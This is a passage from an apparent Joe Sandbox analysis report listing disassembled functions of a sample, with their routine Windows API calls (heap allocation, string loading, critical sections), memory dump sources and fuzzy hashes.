                                                                                                          Function 0040D7CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID: $
                                                                                                          • API String ID: 3519838083-227171996
                                                                                                          • Opcode ID: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
                                                                                                          • Instruction ID: b608afa5533618173c50a936dd0dc92eebd328cd23ff399218f1dfb4b0bc6294
                                                                                                          • Opcode Fuzzy Hash: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
                                                                                                          • Instruction Fuzzy Hash: 6A713571E0020A9FCB24DF99D481AAEB7B1FF48314F10457ED416B7691D734AA8ACF54
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00403D5A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00403D5F
                                                                                                            • Part of subcall function 00403F3C: __EH_prolog.LIBCMT ref: 00403F41
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID: > @$KA
                                                                                                          • API String ID: 3519838083-301980584
                                                                                                          • Opcode ID: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
                                                                                                          • Instruction ID: 0797aa4f2666763f951e0621ef07ec53320c6840b80f95fc9e8c0876c74f2843
                                                                                                          • Opcode Fuzzy Hash: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
                                                                                                          • Instruction Fuzzy Hash: 27517D30D0020A9ACF15EF95C855AEEBF7AAF5430AF10452FE452372D2DB795B06CB89
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0041808D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • GetCPInfo.KERNEL32(?,00000000), ref: 004180A1
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Info
                                                                                                          • String ID: $
                                                                                                          • API String ID: 1807457897-3032137957
                                                                                                          • Opcode ID: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
                                                                                                          • Instruction ID: d0f9309d8466ab513fef0fe96190925d4c3a9a36aebfd3e00fd14af349a29a6b
                                                                                                          • Opcode Fuzzy Hash: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
                                                                                                          • Instruction Fuzzy Hash: 18417C322046586EEB22DB14CC4DFFB7FA8DB06700F9400EAD549C7162CA794985CBAA
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405F5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00405F63
                                                                                                          • LoadStringW.USER32(KA,?,?,00000000), ref: 00405FBC
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prologLoadString
                                                                                                          • String ID: KA
                                                                                                          • API String ID: 385046869-4133974868
                                                                                                          • Opcode ID: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
                                                                                                          • Instruction ID: f8b33de4bb70f64bdff40eb498b0250b344fd9cf2a6d880d3b442eae3703c9f6
                                                                                                          • Opcode Fuzzy Hash: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
                                                                                                          • Instruction Fuzzy Hash: B8212771D0011A9BCB05EFA1C9919EEBBB5FF08308F10407AE106B6291DB794E40CB98
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405EBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00405EC1
                                                                                                          • LoadStringA.USER32(KA,?,?,00000000), ref: 00405F12
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prologLoadString
                                                                                                          • String ID: KA
                                                                                                          • API String ID: 385046869-4133974868
                                                                                                          • Opcode ID: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
                                                                                                          • Instruction ID: 682fdee239e6c4724d42c8af7adc4720fc3e2d38c4520a7b7ac2604701000241
                                                                                                          • Opcode Fuzzy Hash: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
                                                                                                          • Instruction Fuzzy Hash: 6C1126B1D011199ACB06EFA5C9959EEBBB4FF18304F50447EE445B3291DB7A5E00CBA4
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004160FA Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416122
                                                                                                          • HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416156
                                                                                                          • VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00416170
                                                                                                          • HeapFree.KERNEL32(00000000,?), ref: 00416187
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: AllocHeap$FreeVirtual
                                                                                                          • String ID:
                                                                                                          • API String ID: 3499195154-0
                                                                                                          • Opcode ID: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
                                                                                                          • Instruction ID: c92a38fae87bb937ac208a7a453d8678043178d73965b4d0b203d58dccefea2c
                                                                                                          • Opcode Fuzzy Hash: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
                                                                                                          • Instruction Fuzzy Hash: 98112B31300B01BFC7318F29EC869567BB5FB49764791862AF151C65B0C7709842CF48
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004156E1 Relevance: 5.0, APIs: 4, Instructions: 12COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156EE
                                                                                                          • InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156F6
                                                                                                          • InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156FE
                                                                                                          • InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 00415706
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CriticalInitializeSection
                                                                                                          • String ID:
                                                                                                          • API String ID: 32694325-0
                                                                                                          • Opcode ID: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
                                                                                                          • Instruction ID: 9a5a21d657ffcc76f5c3c67f011d6e28d8344b300781f1748fbef07cd2b7b2eb
                                                                                                          • Opcode Fuzzy Hash: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
                                                                                                          • Instruction Fuzzy Hash: CCC00231A05138ABCB712B65FC048563FB5EB882A03558077A1045203186612C12EFD8
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%